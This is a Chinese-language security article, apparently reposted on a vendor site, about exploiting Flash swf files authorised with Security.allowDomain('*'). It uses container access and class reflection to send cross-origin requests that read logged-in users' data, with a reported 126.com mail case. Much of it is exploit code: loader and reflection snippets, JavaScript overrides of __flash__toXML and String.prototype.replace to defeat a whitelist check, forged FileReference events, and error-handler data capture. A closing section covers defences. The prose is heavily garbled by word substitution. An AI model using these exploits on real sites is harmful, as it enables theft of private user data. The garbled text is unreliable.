|
|
|
联系客服020-83701501

隐私泄露杀手锏 —— Flash 权限反射

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
隐私泄漏杀手锏 —— Flash 权限反射

媒介

一直认为该强占早已被重视,但最近偶尔中发现,仍有许多web具有该坏处,其中不乏一些经常使用的邮箱、酬酢web,因而有必要再接头一遍。

事实上,这本不是甚么裂痕,是 Flash 与生俱来的一个畸形遵从。但由于一些 Web 开荒职员相熟不敷深刻,轻忽了该个性,从而埋下平安隐患。

情理

这悉数还得从类型的受权操纵提及:

Default
1 ?Security.allowDomain('*')

关于这行代码,也许都不陌生。当然晓得垄断 * 是有一定强占的,但想一想本身的 Flash 里并无甚么高危操纵,把我拿去又能怎样?

显着,这还搁浅在 XSS 的思维上。Flash 和 JS 通信险些具有 XSS 裂痕,但要找到一个能操纵的 swf 文件并不易:既要读取情况参数,又要回调给 JS,还得确保积极运转。

因而,一些开荒职员认为只需不与 JS 通信,就高枕无忧了。同时为了图等闲,间接给 swf 受权了 *,省去一大堆相信列表。

事实上,Flash 被网页嵌套仅仅是其中一种罢了,更遍及的,则是 swf 之间的嵌套。但是不管何种法子,凡是颠末 Security.allowDomain 进行受权的 —— 这意味着,一个 * 不光应许被第三方网页调用,同时还囊括了其他利便 swf!

被网页嵌套,也许难以找到操纵价值。但被本身的同类嵌套,可用之处就大幅减少了。因为它们凡是 Flash,位于统一个运转时里,互相之间具有着密切的关联。

我们如何将这类关联,进行充分操纵呢?

操纵

关联容器

在 Flash 里,舞台(stage)是这个全国的基础底细。不管加载几多个 swf,舞台不绝只有一个。任何元素(DisplayObject)必需增加到舞台、或其子容器下,才略暗示和交互。

1

因而,一致 swf 创建的元素,凡是颠末统一个舞台暗示的。它们能感知互相的具有,只是受到同源战略的限制,一定能互相操纵。

但是,一旦某个 swf 积极凋谢权限,那么它的元素就再也不受到眷注,能被利便 swf 接见会面了!

听起来彷佛不是很告急。我创建的界面元素,又有何接见会面价值?也就获得一些坐标、颜色等信息罢了。

偷窥元素的本人属性,也许并没甚么意思。但并不是部分的元素,凡是为了地道暗示的 —— 有时为了裁减遵从,继承了元素类的特征,在此之上实现额外的遵从。

最榜样的,等于每个 swf 的主类:它们都继承于 Sprite,即便法式里没用到任何界面相干的。

有多么裁减元素具有,我们就大约接见会面那些额外的遵从了。

入手下手我们的第一个案例。某个 swf 的主类在 Sprite 的基础底细上,裁减了网络加载的遵从:

PHP
12345678910111213141516 // vul.swfpublic class Vul extends Sprite {     public var urlLoader:URLLoader = new URLLoader();        public function download(url:String) : void {        urlLoader.load(new URLRequest(url));        ...    }     public function Vul() {        Security.allowDomain('*');        ...    }    ...}

颠末第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因而拥有了元素的基因,我们大约冷清器中找到它。

同时它也是主类,默许会被增加到 Loader 这个加载容器里。

PHP
12345678 // exp.swfvar loader:Loader = new Loader();loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {    var main:* = DisplayObjectContainer(loader).getChildAt(0);     trace(main);    // [object Vul]});loader.load(new URLRequest('//swf-site/vul.swf'));

因为 Loader 是子 swf 的默许容器,以是其中第一个元素显着等于子 swf 的主类:Vul。

由于 Vul 界说了一个叫 download 的漆黑法子,而且受权了部分的域名,因而在第三方 exp.swf 里,人造也能调用它:

2

PHP
1 main.download('//swf-site/data');

同时 Vul 中的 urlLoader 也是一个漆黑裸露的成员变量,一样可被外部接见会面到,并对其增加数据接管事变:

PHP
1234 var ld:URLLoader = main.urlLoader;ld.addEventListener('complete', function(e:Event) : void {    trace(ld.data);});

当然这个 download 法子是由第三方 exp.swf 发动的,但最终实验 URLLoaderload 法子时,高低文位于 vul.swf 里,因而这个乞求仍属于 swf-site 的源。

因而冲击者从利便职位地方,跨站接见会面 swf-site 下的数据了。

更糟的是,Flash 的跨源乞求可颠末 crossdomain.xml 来受权。假设某个站点应许 swf-site,那么它也成为了受益者。

假设用户正处于登录形状,冲击者暗暗接见会面带有个人信息的页面,用户的隐私数据可能就被泄漏了。冲击者乃至还可模拟用户乞求,将歹意链接发送给其他密友,导致蠕虫传达。

Default
1 ActionScript 当然是强楷模的,但只是开荒时的解放,在运转时仍和 JavaScript 一样,可动静接见会面属性。

类反射

颠末容器这个桥梁,我们可接见会面到子 swf 中的工具。但前提条件仍过于抱负,理论中能操纵的并不多。

假设指标工具不是一个元素,也没有和漆黑的工具相干联,乃至根蒂就没有被实例化,那能否就无法获得到了?

做过页游开荒的都试过,将一些前期垄断的素材打包在自力的 swf 里,必要时再加载返来从中提取。指标 swf 仅仅是一个利润包,其中没有任何剧本,那是如何参数提取的?

事实上,全部进程无需子 swf 参加。所谓的『提取』,其实等于 Flash 中的反射机制。颠末反射,我们就可隔空取物,间接从指标 swf 中存入我们想要的类。

因而我们只需从指标 swf 里,找到一个垄断了网络接口类,就可尝试为我们管事了。

入手下手我们的第二个案例。这是某电商web CDN 上的一个推广活动 swf,反编译后发现,其中一个类里封装了冗杂的网络操纵:

PHP
1234567891011 // vul.swfpublic class Tool {    public function getUrlData(url:String, cb:Function) : void {        var ld:URLLoader = new URLLoader();        ld.load(new URLRequest(url));        ld.addEventListener('complete', function(e:Event) : void {            cb(ld.data);        });        ...    }    ...

在畸形情况下,需一定的交互才会创建这个类。但反射,大约让我们避开这些条件,提存入来间接垄断:

PHP
1234567891011 // exp.swfvar loader:Loader = new Loader();loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');    var obj:* = new cls;     obj.getUrlData('http://victim-site/user-info', function(d:*) : void {        trace(d);    });});loader.load(new URLRequest('//swf-site/vul.swf'));

由于 victim-site/crossdomain.xml 应许 swf-site 接见会面,因而 vul.swf 在不经意间,就充任了隐私泄漏的傀儡。

冲击者拥有了 victim-site 的接见会面权,就可跨站读取页面数据,接见会面用户的个人信息了。

3

由于大多 Web 开荒者对 Flash 的平安仍局限于 XSS 之上,从而轻忽了这类强占。即便在泛泛,网络上仍具有大量可被操纵的坏处 swf 文件,乃至不乏一些大web也纷繁中招。

虽然,即便有反射多么强大的火器,也并不是部分的 swf 凡是大约操纵的。显着,要契合如下几点才大约:

  • 实验 Security.allowDomain(可控站点)
  • 能控制触发 URLLoader/URLStream 的 load 法子,而且 url 参数能自界说
  • 前去的数据可被获得

第一条:这就不必说了,反射的前提也是必要对方受权的。

第二条:抱负情况下,可间接调用反射类中供给的加载法子。但理论中一定凡是 public 的,这时就无法间接调用了。只能阐发代码逻辑,看能不克不及颠末漆黑的法子,布局条件使得流程走到乞求发送的那一步。同时 url 参数也必需可控,否则也就没意思了。

第三条:假设只能将乞求发送进来,却不克不及拿到前去的模式,一样也是没成心义的。

也许你会说,为甚么不间接反射出指标 swf 中的 URLLoader 类,那不就大约间接垄断了吗。但是事实上,光有类是没用的,Flash 并不保护这个类来自哪个 swf,而是看实验 URLLoader::load 时,之后位于哪个 swf。假设在本身的 swf 里调用 load,那么乞求仍属于本身的源。

同时,AS3 里已没有 eval 函数了。独一能让数据变指令的,等于 Loader::loadBytes,但这个法子也有雷同的武断。

因而我们还是得颠末指标 swf 里的已有的遵从,进行操纵。

案例

这里分享一个理论中的案例,从前已上报并修复了的。

这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf

反编译后可发现,主类初始化时就开启了 * 的受权,因而全部 swf 中的类就可随便垄断了!

4

同时,其中一个叫 FlashRequest 的类,封装了经常使用的网络操纵,而且环节法子凡是 public 的:

5

我们将其反射出来,根据其尺度调用,就可发动跨源乞求了!

由于网易许多站点的 crossdomain.xml 都受权了 126.com,因而可天上搜检已登录用户的 163/126 邮件了:

6

乃至还大约读取用户的通信录,将歹意链接传达给更多的用户!

进阶

借助爬虫和工具,我们大约找出许多可等闲操纵的 swf 文件。不过本着钻研的指标,我们持续接头一些需担当阐发才略操纵的案例。

进阶 No.1 —— 绕过蹊径检测

虽然也不是部分的开荒职员,凡是毫不思虑的垄断 Security.allowDomain(‘*’) 的。

一些有平安熟习的,即垄断它也会思虑下之后情况能否畸形。比如某个邮箱的 swf 初始化流程:

PHP
123456789 // vul-1.swfpublic function Main() {    var host:String = ExternalInterface.call('function(){return window.location.host}');     if host not match white-list        return     Security.allowDomain('*');    ...

它会在受权从前,对嵌套的页面进行武断:假设不在白名单列表里,那就间接染指。

由于白名单的结婚逻辑很冗杂,也找不出甚么瑕疵,因而只能将眼光转移到 ExternalInterface 上。为甚么要垄断 JS 来获得蹊径?

因为 Flash 只供给之后 swf 的蹊径,并不晓得本身是被谁嵌套的,因而只能用这类曲线救国的设施了。

不过上了 JS 的贼船,人造就躲不过厄运了。有数不清的前端黑邪术正等着捋臂张拳。Flash 要和各类千奇百怪的涉猎器通信,显着必要一套动静协定,以及一个 JS 版的两端桥梁,用以支撑。相熟 Flash XSS 的应该都不陌生。

在这个桥梁里,其中有一个叫 __flash__toXML 的函数,担当将 JS 实验后的后果,封装成动静协定前去给 Flash。假设能搞定它,那悉数就好办了。

显着这个函数默许是不具有的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重界说它:

PHP
1234567891011 // exp-1.jsfunction handler(str) {    console.log(str);    return '<string>hi,jack</string>';}setInterval(function() {    var rawFn = window.__flash__toXML;    if (rawFn && rawFn != handler) {        window.__flash__toXML = handler;    }}, 1);

颠末定时器不断监控,一旦出现就将其重界说。因而用 ExternalInterface.call 不管实验甚么代码,都大约随便前去模式了!

为相熟除定时器的延迟弊端,我们先在本身的 swf 里,轻易调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提早注入。之后子 swf 垄断时,已经是被覆盖的版本了。

虽然,即便不垄断覆盖的法子,我们仍大约控制 __flash__toXML 的前去后果。

担当阐发下这个函数,其中调用了 __flash__escapeXML

PHP
12345678910 function __flash__toXML(value) {    var type = typeof(value);    if (type == "string") {        return "<string>" + __flash__escapeXML(value) + "</string>";    ...} function __flash__escapeXML(s) {    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;}

概况有一大堆的实体原义,但又如何进行操纵?

因为它是调用 replace 进行变革的,但是在万恶的 JS 里,经常使用的法子凡是可被改写的!我们大约让它前去任何想要的值:

PHP
1234 // exp-1.jsString.prototype.replace = function() {    return 'www.test.com';};

乃至还大约针对 __flash__escapeXML 的调用,前去特定值:

PHP
123456 String.prototype.replace = function F() {    if (F.caller == __flash__escapeXML) {        return 'www.test.com';    }    ...};

因而 ExternalInterface.call 的标题问题就多么解决了。报答前去一个白名单里的域名,就可绕过初始化中的检测,从而腐蚀实验 Security.allowDomain(*)。

以是,毫不克不及相信 JS 前去的模式。连标点标志都不克不及信!

进阶 No.2 —— 布局乞求条件

下面这个案例,是某酬酢web的头像上传 Flash。

不像从前那些,均可腐蚀找到漆黑的网络接口。这个案例很是厚道,搜寻全部项目,只出现一处 URLLoader,而且还是在 private 法子里。

PHP
123456789101112131415161718192021222324252627 // vul-2.swfpublic class Uploader {     public function Uploader(file:FileReference) {        ...        file.addEventListener(Event.SELECT, handler);    }        private function handler(e:Event) : void {        var file:FileReference = e.target as FileReference;                // check filename and data        file.name ...        file.data ...         // upload(...)    }     private function upload(...) : void {        var ld:URLLoader = new URLLoader();        var req:URLRequest = new URLRequest();        req.method = 'POST';        req.data = ...;        req.url = Param.service_url + '?xxx=' ....        ld.load(req);    }}

但是即便要触发这个法子也很是艰巨。因为这是一个上传控件,只有当用户决议了文件对话框里的图片,并颠末参数检验,才略走到最终的上传职位地方。

独一可被反射调用的,等于 Uploader 类本人的布局器。同时控制传入的 FileReference 工具,来布局条件。

PHP
12345 // exp-2.swfvar file:FileReference = new FileReference(); var cls:* = ...getDefinition('Uploader');var obj:* = new cls(file);

但是 FileReference 一致于个别的工具,它会调出界面。假设中途弹出文件对话框,并让用户决议,那绝对因而不理论的。

不过,弹框和回调只是一个因果相干罢了。弹框会发作回调,但回调一定只有弹框才略发作。因为 FileReference 继承了 EventDispatcher,以是我们大约报答的打造一个事变:

PHP
1 file.dispatchEvent(new Event(Event.SELECT));

多么,就进入文件选中后的回调函数里了。

由于这一步会校验文件名、模式等属性,因而还切当时给这些属性赋值。但是惋惜的是,这些属性凡是只读的,根蒂无法设置。

等等,为甚么会有只读的属性?属性不等于一个成员变量吗,怎么样做到只能读不行写?除非是 const,但那是常量,并不是只读属性。

原来,所谓的只读,等于只供给了 getter、但没有 setter 的属性。多么就包管了属性外部可变,但外部不行写的特征。

假设我们能 hook 这个 getter,那就能够前去利便值了。但是 AS 里的类默许凡是密闭的,不像 JS 那样灵动,可随便篡改原型链。

事实上在高级说话里,有着越发卑鄙的 hook 法子,我们称作『重写』。我们创建一个继承 FileReference 的类,就可重写那些 getter 了:

PHP
123456789101112 // exp-2.swfclass FileReferenceEx extends FileReference {     override public function get name() : String {        return 'hello.gif';    }    override public function get data() : ByteArray {        var bytes:ByteArray = new ByteArray();        ...        return bytes;    }}

根据驰誉的『里氏变革原则』,任何基类大约出现之处,子类也一定大约出现。以是传入这个 FileReferenceEx 也是可承受的,之后一旦接见会面 name 等属性时,人造就落到我们的 getter 上了。

PHP
1234 // exp-2.swfvar file:FileReference = new FileReferenceEx();  // !!!...var obj:* = new cls(file);

 

到此,我们失败模拟了文件决议的全部流程。

接着就到环节的上传职位地方了。荣耀的是,它没写死上传所在,而是从情况变量(loaderInfo.parameters)里读取。

说到情况变量,本身首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方大约传入:

  • swf url query(比如 .swf?a=1&b=2)
  • LoaderContext

由于 url query 是静止的,前期无法修改,以是决议 LoaderContext 来通报:

PHP
1234567 // exp-2.swfvar loader:Loader = new Loader();var ctx:LoaderContext = new LoaderContext();ctx.parameters = {    'service_url': 'http://victim-site/user-data#'};loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因为 LoaderContext 里的 parameters 是运转时共享的,多么就能够随时厘革情况变量了:

PHP
12 // next requestctx.parameters.service_url = 'http://victim-site/user-data-2#';

同时为了不让多余的参数发奉下去,还大约在 URL 匹面陈设一个 #,让后头多余的部分变成 Hash,就不会走流量了。

当然这是个很厚道的案例,但担当阐发还是找出解决设施的。

虽然,我们指标并不是为告终果,而是其中阐发的兴味:)

进阶 No.3 —— 捕获前去数据

虽然,光把乞求发送进来还是不敷的,假设无法拿到前去的后果,那还是白忙活。

最抱负的情况,等于能传入回调接口,多么就可间接获得数据了。但理论一定凡是这般明丽,有时我们得本身想设施存入数据。

一些冗杂的 swf 集体不会封装一个的网络乞求类,每次垄断时都间接写原生的代码。多么,可控的因子就少很多,操纵难度就会大幅晋升。

比如多么的场景,当然能控制乞求所在,但由于没法拿到 URLLoader,也就无从获得前去数据了:

PHP
1234567 public function download(url:String) : void {    var ld:URLLoader = new URLLoader();    ld.load(new URLRequest(url));    ld.addEventListener('complete', function(e:Event) : void {        // do nothing    });}

但集体不至于啥也不做,几多城市处置下前去后果。这时就得接头时机了。

一旦将数据赋值到漆黑的成员变量里,那么我们就可颠末轮询的法子来获得了:

PHP
12345 public var data:*;...ld.addEventListener('complete', function(e:Event) : void {    data = e.data;});

大要,将数据存放到了某个元素里,用于发挥阐发:

PHP
1234567 private var textbox:TextField = new TextField();...addChild(textbox);...ld.addEventListener('complete', function(e:Event) : void {    textbox.text = e.data;});

一样大约操纵文章末端提到的法子,从父容器里找出响应的元素,定时轮询其中的模式。

不过这些都算容易解决的。在一些场合,前去的数据根蒂不契合预期的项目,因而就无法处置间接报错了。

下面是个很是遍及的案例。在接管事变里,将数据进行静止项指标解码:

PHP
1234567 // vul-3.swfimport com.adobe.serialization.json.JSON; ld.addEventListener('complete', function(e:Event) : void {    var data:* = JSON.decode(e.data);    ...});

因为开荒职员已经约定垄断 JSON 作为前去项目,以是压根就没容错武断,间接将数据进行解码。

但是我们想要跨站读取的文件,一定凡是 JSON 项指标。HTML、XML 乃至 JSONP,都被拍死在这里了。

难道就此对峙?都报错无法往下走了,那还能怎么样办。独一可行的,等于一误再误,往『舛讹』的偏袒走。

一个强大的运转时零碎,城市供给一些接口,供开荒者捕获全局很是。HTML 里有,Flash 里虽然也有,乃至还要强大的多 —— 不光大约获得舛讹相干的信息,乃至还能拿到 throw 出来的谁人 Error 工具!

个别通用的类库,往往会有健全的参数检验。当碰着不造孽的参数时,集体会将参数连同舛讹信息,作为很是抛出来。假设某个很是工具里,恰恰收罗了我们想要的迟缓数据的话,那就很是都雅了。

就以 JSON 解码为例,我们写个 Demo 考证一下:

PHP
12 var s:String = '<html>\n<div>\n123\n</div>\n</html>';JSON.decode(s);

我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的很是处:

7

很是中的前两个参数,看起来没多大意思。但第三个参数,概况终究藏着是甚么?

不必猜想,这正是我们想要的工具 —— 传入解码器的全部字符参数!

8

如此,我们就可在全局很是捕获中,拿到完整的前去数据了:

PHP
123 loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {    trace(e.error.text);});

9

惊呆了吧!只需担当探索,一些看似不行能实现的,其实也能找到解决打算。

补偿

假设从代码层面来修补,短年光内也难以完成。

大型web长期以来,积聚了相等数目的 swf 文件。有时为相熟决版本争吵,乃至在文件名里垄断了年光、择要等随机数,这类的 swf 过后的源码,也许早已再也不关怀了。

因而,还是得从web本人来强化。crossdomain.xml 中再也不垄断的域名就该尽早移除,必要则只管即便放大子域规模。事实,只需出现一个带坏处的 swf 文件,全部站点的平安性就被拉低了。

事实上,即便颠末反射指标 swf 实现的跨站乞求,referer 仍为冲击者的页面。因而,波及到迟缓数据读取的操纵,考证一上来源还是很有必要的。

作为用户来说,禁用第三方 cookie 其实太有必要了。泛泛 Safari 已默许禁用,而 Chrome 则仍需手动增加。

总结

末端总结下,本文提到的 3 类权限:

  • 代码层面(public / private / …)
  • 模块层面(Security.allowDomain)
  • 站点层面(crossdomain.xml)

只需这几点都称心,就很有可能被用于跨源的乞求。

也许会感慨 Flash 里坑太多了,根蒂防不胜防。但事实上这些特征早已具有,只是未被开荒者重视罢了。以至于各大web泛泛仍遍及躺枪。

虽然,信息泄漏对每个用户凡是受益者。企望能让更多的开荒者看到,及时修复平安隐患。

数安新闻+更多

证书相关+更多